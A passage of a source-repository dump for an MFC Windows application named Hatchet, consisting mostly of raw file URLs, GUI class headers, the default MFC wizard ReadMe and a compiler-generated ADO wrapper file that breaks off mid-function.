https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/FileDlg.h -------------------------------------------------------------------------------- /code/Hatchet/FileSaveDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/FileSaveDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/FileSaveDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/FileSaveDlg.h -------------------------------------------------------------------------------- /code/Hatchet/Function.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Function.h -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Hatchet.cpp -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.h: -------------------------------------------------------------------------------- 1 | // Hatchet.h : main header file for the PROJECT_NAME application 2 | // 3 | 4 | #pragma once 5 | 6 | #ifndef __AFXWIN_H__ 7 | #error "include 'stdafx.h' before including this file for PCH" 8 | #endif 9 | 10 | #include "resource.h" // main symbols 11 | 12 | 13 | // CHatchetApp: 14 | // See Hatchet.cpp for the implementation of this class 15 | // 16 | 17 | class CHatchetApp : public CWinApp 18 | { 19 | public: 20 | CHatchetApp(); 21 | 22 | // Overrides 23 | public: 24 | virtual BOOL InitInstance(); 25 | 26 | // Implementation 27 | 28 | DECLARE_MESSAGE_MAP() 29 | public: 30 | virtual int ExitInstance(); 31 | }; 32 | 33 | extern CHatchetApp theApp; -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Hatchet.rc -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.vcproj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Hatchet.vcproj -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.vcproj.USA-98C38D81E9B.Administrator.user: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 11 | 35 | 36 | 39 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.vcproj.VC.Administrator.user: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 11 | 35 | 36 | 39 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /code/Hatchet/Hatchet.vcproj.WORD-5A3AC662E6.Administrator.user: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 11 | 35 | 36 | 39 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /code/Hatchet/ImageButton.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/ImageButton.cpp -------------------------------------------------------------------------------- /code/Hatchet/ImageButton.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // CImageButton 5 | 6 | class CImageButton : public CWnd 7 | { 8 | DECLARE_DYNAMIC(CImageButton) 9 | 10 | public: 11 | CImageButton(); 12 | virtual ~CImageButton(); 13 | 14 | public: 15 | BOOL Create(LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID); 16 | virtual BOOL PreCreateWindow(CREATESTRUCT& cs); 17 | 18 | public: 19 | void SetImage(UINT uIDresource); 20 | protected: 21 | DECLARE_MESSAGE_MAP() 22 | afx_msg void OnPaint(); 23 | afx_msg LRESULT OnMouseHover(WPARAM wParam, LPARAM lParam); 24 | afx_msg LRESULT OnMouseLeave(WPARAM wParam, LPARAM lParam); 25 | afx_msg void OnMouseMove(UINT nFlags, CPoint point); 26 | afx_msg void OnLButtonDown(UINT nFlags, CPoint point); 27 | afx_msg void OnLButtonUp(UINT nFlags, CPoint point); 28 | 29 | private: 30 | CImage m_imgButton; 31 | BOOL m_bIsHover; 32 | BOOL m_bIsDown; 33 | }; 34 | 35 | 36 | -------------------------------------------------------------------------------- /code/Hatchet/MainDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/MainDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/MainDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/MainDlg.h -------------------------------------------------------------------------------- /code/Hatchet/MainHatchet.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/MainHatchet.cpp -------------------------------------------------------------------------------- /code/Hatchet/MainHatchet.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/MainHatchet.h -------------------------------------------------------------------------------- /code/Hatchet/Panel.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Panel.cpp -------------------------------------------------------------------------------- /code/Hatchet/Panel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | // CPanel 5 | 6 | class CPanel : public CWnd 7 | { 8 | DECLARE_DYNAMIC(CPanel) 9 | 10 | public: 11 | CPanel(); 12 | virtual ~CPanel(); 13 | public: 14 | BOOL Create(LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID); 15 | virtual BOOL PreCreateWindow(CREATESTRUCT& cs); 16 | 17 | protected: 18 | DECLARE_MESSAGE_MAP() 19 | }; 20 | 21 | 22 | -------------------------------------------------------------------------------- /code/Hatchet/ProxyDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/ProxyDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/ProxyDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/ProxyDlg.h -------------------------------------------------------------------------------- /code/Hatchet/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ================================================================================ 2 | MICROSOFT FOUNDATION CLASS LIBRARY : Hatchet Project Overview 3 | =============================================================================== 4 | 5 | The application wizard has created this Hatchet application for 6 | you. This application not only demonstrates the basics of using the Microsoft 7 | Foundation Classes but is also a starting point for writing your application. 8 | 9 | This file contains a summary of what you will find in each of the files that 10 | make up your Hatchet application. 11 | 12 | Hatchet.vcproj 13 | This is the main project file for VC++ projects generated using an application wizard. 14 | It contains information about the version of Visual C++ that generated the file, and 15 | information about the platforms, configurations, and project features selected with the 16 | application wizard. 17 | 18 | Hatchet.h 19 | This is the main header file for the application. It includes other 20 | project specific headers (including Resource.h) and declares the 21 | CHatchetApp application class. 22 | 23 | Hatchet.cpp 24 | This is the main application source file that contains the application 25 | class CHatchetApp. 26 | 27 | Hatchet.rc 28 | This is a listing of all of the Microsoft Windows resources that the 29 | program uses. It includes the icons, bitmaps, and cursors that are stored 30 | in the RES subdirectory. This file can be directly edited in Microsoft 31 | Visual C++. Your project resources are in 1033. 32 | 33 | res\Hatchet.ico 34 | This is an icon file, which is used as the application's icon. This 35 | icon is included by the main resource file Hatchet.rc. 36 | 37 | res\Hatchet.rc2 38 | This file contains resources that are not edited by Microsoft 39 | Visual C++. You should place all resources not editable by 40 | the resource editor in this file. 41 | 42 | 43 | ///////////////////////////////////////////////////////////////////////////// 44 | 45 | The application wizard creates one dialog class: 46 | 47 | HatchetDlg.h, HatchetDlg.cpp - the dialog 48 | These files contain your CHatchetDlg class. This class defines 49 | the behavior of your application's main dialog. The dialog's template is 50 | in Hatchet.rc, which can be edited in Microsoft Visual C++. 51 | 52 | 53 | ///////////////////////////////////////////////////////////////////////////// 54 | 55 | Other Features: 56 | 57 | ActiveX Controls 58 | The application includes support to use ActiveX controls. 59 | 60 | Windows Sockets 61 | The application has support for establishing communications over TCP/IP networks. 62 | 63 | ///////////////////////////////////////////////////////////////////////////// 64 | 65 | Other standard files: 66 | 67 | StdAfx.h, StdAfx.cpp 68 | These files are used to build a precompiled header (PCH) file 69 | named Hatchet.pch and a precompiled types file named StdAfx.obj. 70 | 71 | Resource.h 72 | This is the standard header file, which defines new resource IDs. 73 | Microsoft Visual C++ reads and updates this file. 74 | 75 | Hatchet.manifest 76 | Application manifest files are used by Windows XP to describe an applications 77 | dependency on specific versions of Side-by-Side assemblies. The loader uses this 78 | information to load the appropriate assembly from the assembly cache or private 79 | from the application. The Application manifest maybe included for redistribution 80 | as an external .manifest file that is installed in the same folder as the application 81 | executable or it may be included in the executable in the form of a resource. 82 | ///////////////////////////////////////////////////////////////////////////// 83 | 84 | Other notes: 85 | 86 | The application wizard uses "TODO:" to indicate parts of the source code you 87 | should add to or customize. 88 | 89 | If your application uses MFC in a shared DLL, you will need 90 | to redistribute the MFC DLLs. If your application is in a language 91 | other than the operating system's locale, you will also have to 92 | redistribute the corresponding localized resources MFC80XXX.DLL. 93 | For more information on both of these topics, please see the section on 94 | redistributing Visual C++ applications in MSDN documentation. 95 | 96 | ///////////////////////////////////////////////////////////////////////////// 97 | -------------------------------------------------------------------------------- /code/Hatchet/RegistryDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/RegistryDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/RegistryDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/RegistryDlg.h -------------------------------------------------------------------------------- /code/Hatchet/Release/BuildLog.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Release/BuildLog.htm -------------------------------------------------------------------------------- /code/Hatchet/Release/msado15.tli: -------------------------------------------------------------------------------- 1 | // Created by Microsoft (R) C/C++ Compiler Version 14.00.50727.42 (1f8a902c). 2 | // 3 | // c:\projects\hatchet_v2\hatchet\release\msado15.tli 4 | // 5 | // Wrapper implementations for Win32 type library C:\\Program Files\\Common Files\\System\\ado\\msado15.dll 6 | // compiler-generated file created 05/05/15 at 16:18:58 - DO NOT EDIT! 7 | 8 | #pragma once 9 | 10 | // 11 | // interface _Collection wrapper method implementations 12 | // 13 | 14 | inline long _Collection::GetCount ( ) { 15 | long _result = 0; 16 | HRESULT _hr = get_Count(&_result); 17 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 18 | return _result; 19 | } 20 | 21 | inline IUnknownPtr _Collection::_NewEnum ( ) { 22 | IUnknown * _result = 0; 23 | HRESULT _hr = raw__NewEnum(&_result); 24 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 25 | return IUnknownPtr(_result, false); 26 | } 27 | 28 | inline HRESULT _Collection::Refresh ( ) { 29 | HRESULT _hr = raw_Refresh(); 30 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 31 | return _hr; 32 | } 33 | 34 | // 35 | // interface _DynaCollection wrapper method implementations 36 | // 37 | 38 | inline HRESULT _DynaCollection::Append ( IDispatch * Object ) { 39 | HRESULT _hr = raw_Append(Object); 40 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 41 | return _hr; 42 | } 43 | 44 | inline HRESULT _DynaCollection::Delete ( const _variant_t & Index ) { 45 | HRESULT _hr = raw_Delete(Index); 46 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 47 | return _hr; 48 | } 49 | 50 | // 51 | // interface Property wrapper method implementations 52 | // 53 | 54 | inline _variant_t Property::GetValue ( ) { 55 | VARIANT _result; 56 | VariantInit(&_result); 57 | HRESULT _hr = get_Value(&_result); 58 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 59 | return _variant_t(_result, false); 60 | } 61 | 62 | inline void Property::PutValue ( const _variant_t & pval ) { 63 | HRESULT _hr = put_Value(pval); 64 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 65 | } 66 | 67 | inline _bstr_t Property::GetName ( ) { 68 | BSTR _result = 0; 69 | HRESULT _hr = get_Name(&_result); 70 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 71 | return _bstr_t(_result, false); 72 | } 73 | 74 | inline enum DataTypeEnum Property::GetType ( ) { 75 | enum DataTypeEnum _result; 76 | HRESULT _hr = get_Type(&_result); 77 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 78 | return _result; 79 | } 80 | 81 | inline long Property::GetAttributes ( ) { 82 | long _result = 0; 83 | HRESULT _hr = get_Attributes(&_result); 84 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 85 | return _result; 86 | } 87 | 88 | inline void Property::PutAttributes ( long plAttributes ) { 89 | HRESULT _hr = put_Attributes(plAttributes); 90 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 91 | } 92 | 93 | // 94 | // interface Properties wrapper method implementations 95 | // 96 | 97 | inline PropertyPtr Properties::GetItem ( const _variant_t & Index ) { 98 | struct Property * _result = 0; 99 | HRESULT _hr = get_Item(Index, &_result); 100 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 101 | return PropertyPtr(_result, false); 102 | } 103 | 104 | // 105 | // interface _ADO wrapper method implementations 106 | // 107 | 108 | inline PropertiesPtr _ADO::GetProperties ( ) { 109 | struct Properties * _result = 0; 110 | HRESULT _hr = get_Properties(&_result); 111 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 112 | return PropertiesPtr(_result, false); 113 | } 114 | 115 | // 116 | // interface Error wrapper method implementations 117 | // 118 | 119 | inline long Error::GetNumber ( ) { 120 | long _result = 0; 121 | HRESULT _hr = get_Number(&_result); 122 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 123 | return _result; 124 | } 125 | 126 | inline _bstr_t Error::GetSource ( ) { 127 | BSTR _result = 0; 128 | HRESULT _hr = get_Source(&_result); 129 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 130 | return _bstr_t(_result, false); 131 | } 132 | 133 | inline _bstr_t Error::GetDescription ( ) { 134 | BSTR _result = 0; 135 | HRESULT _hr = get_Description(&_result); 136 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 137 | return _bstr_t(_result, false); 138 | } 139 | 140 | inline _bstr_t Error::GetHelpFile ( ) { 141 | BSTR _result = 0; 142 | HRESULT _hr = get_HelpFile(&_result); 143 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 144 | return _bstr_t(_result, false); 145 | } 146 | 147 | inline long Error::GetHelpContext ( ) { 148 | long _result = 0; 149 | HRESULT _hr = get_HelpContext(&_result); 150 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 151 | return _result; 152 | } 153 | 154 | inline _bstr_t Error::GetSQLState ( ) { 155 | BSTR _result = 0; 156 | HRESULT _hr = get_SQLState(&_result); 157 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 158 | return _bstr_t(_result, false); 159 | } 160 | 161 | inline long Error::GetNativeError ( ) { 162 | long _result = 0; 163 | HRESULT _hr = get_NativeError(&_result); 164 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 165 | return _result; 166 | } 167 | 168 | // 169 | // interface Errors wrapper method implementations 170 | // 171 | 172 | inline ErrorPtr Errors::GetItem ( const _variant_t & Index ) { 173 | struct Error * _result = 0; 174 | HRESULT _hr = get_Item(Index, &_result); 175 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 176 | return ErrorPtr(_result, false); 177 | } 178 | 179 | inline HRESULT Errors::Clear ( ) { 180 | HRESULT _hr = raw_Clear(); 181 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 182 | return _hr; 183 | } 184 | 185 | // 186 | // interface Field20 wrapper method implementations 187 | // 188 | 189 | inline ADO_LONGPTR Field20::GetActualSize ( ) { 190 | ADO_LONGPTR _result; 191 | HRESULT _hr = get_ActualSize(&_result); 192 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 193 | return _result; 194 | } 195 | 196 | inline long Field20::GetAttributes ( ) { 197 | long _result = 0; 198 | HRESULT _hr = get_Attributes(&_result); 199 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 200 | return _result; 201 | } 202 | 203 | inline ADO_LONGPTR Field20::GetDefinedSize ( ) { 204 | ADO_LONGPTR _result; 205 | HRESULT _hr = get_DefinedSize(&_result); 206 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 207 | return _result; 208 | } 209 | 210 | inline _bstr_t Field20::GetName ( ) { 211 | BSTR _result = 0; 212 | HRESULT _hr = get_Name(&_result); 213 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 214 | return _bstr_t(_result, false); 215 | } 216 | 217 | inline enum DataTypeEnum Field20::GetType ( ) { 218 | enum DataTypeEnum _result; 219 | HRESULT _hr = get_Type(&_result); 220 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 221 | return _result; 222 | } 223 | 224 | inline _variant_t Field20::GetValue ( ) { 225 | VARIANT _result; 226 | VariantInit(&_result); 227 | HRESULT _hr = get_Value(&_result); 228 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 229 | return _variant_t(_result, false); 230 | } 231 | 232 | inline void Field20::PutValue ( const _variant_t & pvar ) { 233 | HRESULT _hr = put_Value(pvar); 234 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 235 | } 236 | 237 | inline unsigned char Field20::GetPrecision ( ) { 238 | unsigned char _result = 0; 239 | HRESULT _hr = get_Precision(&_result); 240 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 241 | return _result; 242 | } 243 | 244 | inline unsigned char Field20::GetNumericScale ( ) { 245 | unsigned char _result = 0; 246 | HRESULT _hr = get_NumericScale(&_result); 247 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 248 | return _result; 249 | } 250 | 251 | inline HRESULT Field20::AppendChunk ( const _variant_t & Data ) { 252 | HRESULT _hr = raw_AppendChunk(Data); 253 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 254 | return _hr; 255 | } 256 | 257 | inline _variant_t Field20::GetChunk ( long Length ) { 258 | VARIANT _result; 259 | VariantInit(&_result); 260 | HRESULT _hr = raw_GetChunk(Length, &_result); 261 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 262 | return _variant_t(_result, false); 263 | } 264 | 265 | inline _variant_t Field20::GetOriginalValue ( ) { 266 | VARIANT _result; 267 | VariantInit(&_result); 268 | HRESULT _hr = get_OriginalValue(&_result); 269 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 270 | return _variant_t(_result, false); 271 | } 272 | 273 | inline _variant_t Field20::GetUnderlyingValue ( ) { 274 | VARIANT _result; 275 | VariantInit(&_result); 276 | HRESULT _hr = get_UnderlyingValue(&_result); 277 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 278 | return _variant_t(_result, false); 279 | } 280 | 281 | inline IUnknownPtr Field20::GetDataFormat ( ) { 282 | IUnknown * _result = 0; 283 | HRESULT _hr = get_DataFormat(&_result); 284 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 285 | return IUnknownPtr(_result, false); 286 | } 287 | 288 | inline void Field20::PutRefDataFormat ( IUnknown * ppiDF ) { 289 | HRESULT _hr = putref_DataFormat(ppiDF); 290 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 291 | } 292 | 293 | inline void Field20::PutPrecision ( unsigned char pbPrecision ) { 294 | HRESULT _hr = put_Precision(pbPrecision); 295 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 296 | } 297 | 298 | inline void Field20::PutNumericScale ( unsigned char pbNumericScale ) { 299 | HRESULT _hr = put_NumericScale(pbNumericScale); 300 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 301 | } 302 | 303 | inline void Field20::PutType ( enum DataTypeEnum pDataType ) { 304 | HRESULT _hr = put_Type(pDataType); 305 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 306 | } 307 | 308 | inline void Field20::PutDefinedSize ( ADO_LONGPTR pl ) { 309 | HRESULT _hr = put_DefinedSize(pl); 310 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 311 | } 312 | 313 | inline void Field20::PutAttributes ( long pl ) { 314 | HRESULT _hr = put_Attributes(pl); 315 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 316 | } 317 | 318 | // 319 | // interface Field wrapper method implementations 320 | // 321 | 322 | inline long Field::GetStatus ( ) { 323 | long _result = 0; 324 | HRESULT _hr = get_Status(&_result); 325 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 326 | return _result; 327 | } 328 | 329 | // 330 | // interface Fields15 wrapper method implementations 331 | // 332 | 333 | inline FieldPtr Fields15::GetItem ( const _variant_t & Index ) { 334 | struct Field * _result = 0; 335 | HRESULT _hr = get_Item(Index, &_result); 336 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 337 | return FieldPtr(_result, false); 338 | } 339 | 340 | // 341 | // interface Fields20 wrapper method implementations 342 | // 343 | 344 | inline HRESULT Fields20::_Append ( _bstr_t Name, enum DataTypeEnum Type, ADO_LONGPTR DefinedSize, enum FieldAttributeEnum Attrib ) { 345 | HRESULT _hr = raw__Append(Name, Type, DefinedSize, Attrib); 346 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 347 | return _hr; 348 | } 349 | 350 | inline HRESULT Fields20::Delete ( const _variant_t & Index ) { 351 | HRESULT _hr = raw_Delete(Index); 352 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 353 | return _hr; 354 | } 355 | 356 | // 357 | // interface Fields wrapper method implementations 358 | // 359 | 360 | inline HRESULT Fields::Append ( _bstr_t Name, enum DataTypeEnum Type, ADO_LONGPTR DefinedSize, enum FieldAttributeEnum Attrib, const _variant_t & FieldValue ) { 361 | HRESULT _hr = raw_Append(Name, Type, DefinedSize, Attrib, FieldValue); 362 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 363 | return _hr; 364 | } 365 | 366 | inline HRESULT Fields::Update ( ) { 367 | HRESULT _hr = raw_Update(); 368 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 369 | return _hr; 370 | } 371 | 372 | inline HRESULT Fields::Resync ( enum ResyncEnum ResyncValues ) { 373 | HRESULT _hr = raw_Resync(ResyncValues); 374 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 375 | return _hr; 376 | } 377 | 378 | inline HRESULT Fields::CancelUpdate ( ) { 379 | HRESULT _hr = raw_CancelUpdate(); 380 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 381 | return _hr; 382 | } 383 | 384 | // 385 | // interface _Parameter wrapper method implementations 386 | // 387 | 388 | inline _bstr_t _Parameter::GetName ( ) { 389 | BSTR _result = 0; 390 | HRESULT _hr = get_Name(&_result); 391 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 392 | return _bstr_t(_result, false); 393 | } 394 | 395 | inline void _Parameter::PutName ( _bstr_t pbstr ) { 396 | HRESULT _hr = put_Name(pbstr); 397 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 398 | } 399 | 400 | inline _variant_t _Parameter::GetValue ( ) { 401 | VARIANT _result; 402 | VariantInit(&_result); 403 | HRESULT _hr = get_Value(&_result); 404 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 405 | return _variant_t(_result, false); 406 | } 407 | 408 | inline void _Parameter::PutValue ( const _variant_t & pvar ) { 409 | HRESULT _hr = put_Value(pvar); 410 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 411 | } 412 | 413 | inline enum DataTypeEnum _Parameter::GetType ( ) { 414 | enum DataTypeEnum _result; 415 | HRESULT _hr = get_Type(&_result); 416 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 417 | return _result; 418 | } 419 | 420 | inline void _Parameter::PutType ( enum DataTypeEnum psDataType ) { 421 | HRESULT _hr = put_Type(psDataType); 422 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 423 | } 424 | 425 | inline void _Parameter::PutDirection ( enum ParameterDirectionEnum plParmDirection ) { 426 | HRESULT _hr = put_Direction(plParmDirection); 427 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 428 | } 429 | 430 | inline enum ParameterDirectionEnum _Parameter::GetDirection ( ) { 431 | enum ParameterDirectionEnum _result; 432 | HRESULT _hr = get_Direction(&_result); 433 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 434 | return _result; 435 | } 436 | 437 | inline void _Parameter::PutPrecision ( unsigned char pbPrecision ) { 438 | HRESULT _hr = put_Precision(pbPrecision); 439 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 440 | } 441 | 442 | inline unsigned char _Parameter::GetPrecision ( ) { 443 | unsigned char _result = 0; 444 | HRESULT _hr = get_Precision(&_result); 445 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 446 | return _result; 447 | } 448 | 449 | inline void _Parameter::PutNumericScale ( unsigned char pbScale ) { 450 | HRESULT _hr = put_NumericScale(pbScale); 451 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 452 | } 453 | 454 | inline unsigned char _Parameter::GetNumericScale ( ) { 455 | unsigned char _result = 0; 456 | HRESULT _hr = get_NumericScale(&_result); 457 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 458 | return _result; 459 | } 460 | 461 | inline void _Parameter::PutSize ( ADO_LONGPTR pl ) { 462 | HRESULT _hr = put_Size(pl); 463 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 464 | } 465 | 466 | inline ADO_LONGPTR _Parameter::GetSize ( ) { 467 | ADO_LONGPTR _result; 468 | HRESULT _hr = get_Size(&_result); 469 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 470 | return _result; 471 | } 472 | 473 | inline HRESULT _Parameter::AppendChunk ( const _variant_t & Val ) { 474 | HRESULT _hr = raw_AppendChunk(Val); 475 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 476 | return _hr; 477 | } 478 | 479 | inline long _Parameter::GetAttributes ( ) { 480 | long _result = 0; 481 | HRESULT _hr = get_Attributes(&_result); 482 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 483 | return _result; 484 | } 485 | 486 | inline void _Parameter::PutAttributes ( long plParmAttribs ) { 487 | HRESULT _hr = put_Attributes(plParmAttribs); 488 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 489 | } 490 | 491 | // 492 | // interface Parameters wrapper method implementations 493 | // 494 | 495 | inline _ParameterPtr Parameters::GetItem ( const _variant_t & Index ) { 496 | struct _Parameter * _result = 0; 497 | HRESULT _hr = get_Item(Index, &_result); 498 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 499 | return _ParameterPtr(_result, false); 500 | } 501 | 502 | // 503 | // dispinterface ConnectionEvents wrapper method implementations 504 | // 505 | 506 | inline HRESULT ConnectionEvents::InfoMessage ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 507 | HRESULT _result = 0; 508 | _com_dispatch_method(this, 0x0, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 509 | L"\x0009\x4003\x0009", pError, adStatus, pConnection); 510 | return _result; 511 | } 512 | 513 | inline HRESULT ConnectionEvents::BeginTransComplete ( long TransactionLevel, struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 514 | HRESULT _result = 0; 515 | _com_dispatch_method(this, 0x1, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 516 | L"\x0003\x0009\x4003\x0009", TransactionLevel, pError, adStatus, pConnection); 517 | return _result; 518 | } 519 | 520 | inline HRESULT ConnectionEvents::CommitTransComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 521 | HRESULT _result = 0; 522 | _com_dispatch_method(this, 0x3, DISPATCH_METHOD, VT_ERROR, (void*)&_result, 523 | L"\x0009\x4003\x0009", pError, adStatus, pConnection); 524 | return _result; 525 | 